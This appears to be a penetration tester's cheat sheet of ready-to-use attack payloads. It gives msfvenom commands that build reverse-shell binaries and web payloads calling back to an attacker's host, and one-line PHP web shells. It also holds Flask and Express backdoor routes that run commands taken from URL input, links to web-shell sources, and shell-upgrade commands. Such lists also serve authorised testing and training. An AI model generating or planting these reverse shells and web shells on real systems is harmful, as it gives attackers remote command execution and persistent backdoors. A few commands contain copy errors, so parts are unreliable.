Shell and Some Payloads

Payload Structure - msfvenom

-> A staged payload is usually shipped in two parts. The first part contains a small primary payload that will establish a connection, transferring a larger secondary payload with the rest of the shellcode. e.g.

windows/shell_reverse_tcp (stageless)
windows/shell/reverse_tcp (staged)
linux/shell_reverse_tcp (stageless)
linux/shell/reverse_tcp (staged)

Non-Meterpreter Binaries

Windows

.exe x86 staged - msfvenom (Non-Meterpreter)

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe

.exe x64 staged - msfvenom (Non-Meterpreter)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

.exe x86 stageless - msfvenom (Non-Meterpreter)

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe

.exe x64 stageless - msfvenom (Non-Meterpreter)

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

Linux

.elf x86 staged - msfvenom (Non-Meterpreter)

msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

.elf x64 staged - msfvenom (Non-Meterpreter)

msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf

.elf x86 stageless - msfvenom (Non-Meterpreter)

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

.elf x64 stageless - msfvenom (Non-Meterpreter)

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf

Web Payloads

Java WAR - msfvenom (Non-Meterpreter)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

ASP - msfvenom (Non-Meterpreter)

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp

ASPX - msfvenom (Non-Meterpreter)

msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<LPORT> -f aspx > shell.aspx

JSP - msfvenom (Non-Meterpreter)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

WAR - msfvenom (Non-Meterpreter)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

PHP - msfvenom (Non-Meterpreter) - Reverse Shell

msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php

or https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php https://raw.githubusercontent.com/Dhayalanb/windows-php-reverse-shell/master/Reverse%20Shell.php

Web Shells

PHP

<?php echo shell_exec($_GET['cmd']);?>
<?php system($_GET['cmd']);?>
<?php echo exec($_GET['cmd']);?>

JSP

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmdjsp.jsp

or in kali

locate cmdjsp.jsp

ASP

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd-asp-5.1.asp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmdasp.asp

or in kali

locate cmd-asp-5.1.asp
locate cmdasp.asp

ASPX

https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmdasp.aspx

or in kali

locate cmdasp.aspx

Webshell Infecting views.py - Python (Flask)

import os
from flask import Flask,request,os

app = Flask(__name__)
   
@app.route('/okay')
def cmd():
    return os.system(request.args.get('c'))

if __name__ == "__main__":
	app.run()

https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.py

nodejs

const express = require('express')
const app = express();

app.listen(3000, () => 
	console.log('...')
);
function Exec(command){ 
	const { execSync } = require("child_process");
	const stdout = execSync(command);
	return "Result: "+stdout
}
app.get('/okay/:command', (req, res) => 
res.send(Exec(req.params.command))
);

https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/codes/webshells/views.js

Perl

-> Find and edit

locate perl-reverse-shell.pl

Spawn tty via Python

python -c 'import pty;pty.spawn("/bin/bash")';

Spawn an upgraded shell

export TERM=xterm && /usr/bin/script -qc /bin/bash /dev/null 

ctrl + z

stty raw -echo; fg 

tools to make life easier

-> revshell generator https://www.revshells.com/

-> CyberChef https://gchq.github.io/CyberChef/

-> urlencoder https://www.urlencoder.org/

-> octal http://www.unit-conversion.info/texttools/octal/

-> hex http://www.unit-conversion.info/texttools/octal/

-> IP converter https://www.silisoftware.com/tools/ipconverter.php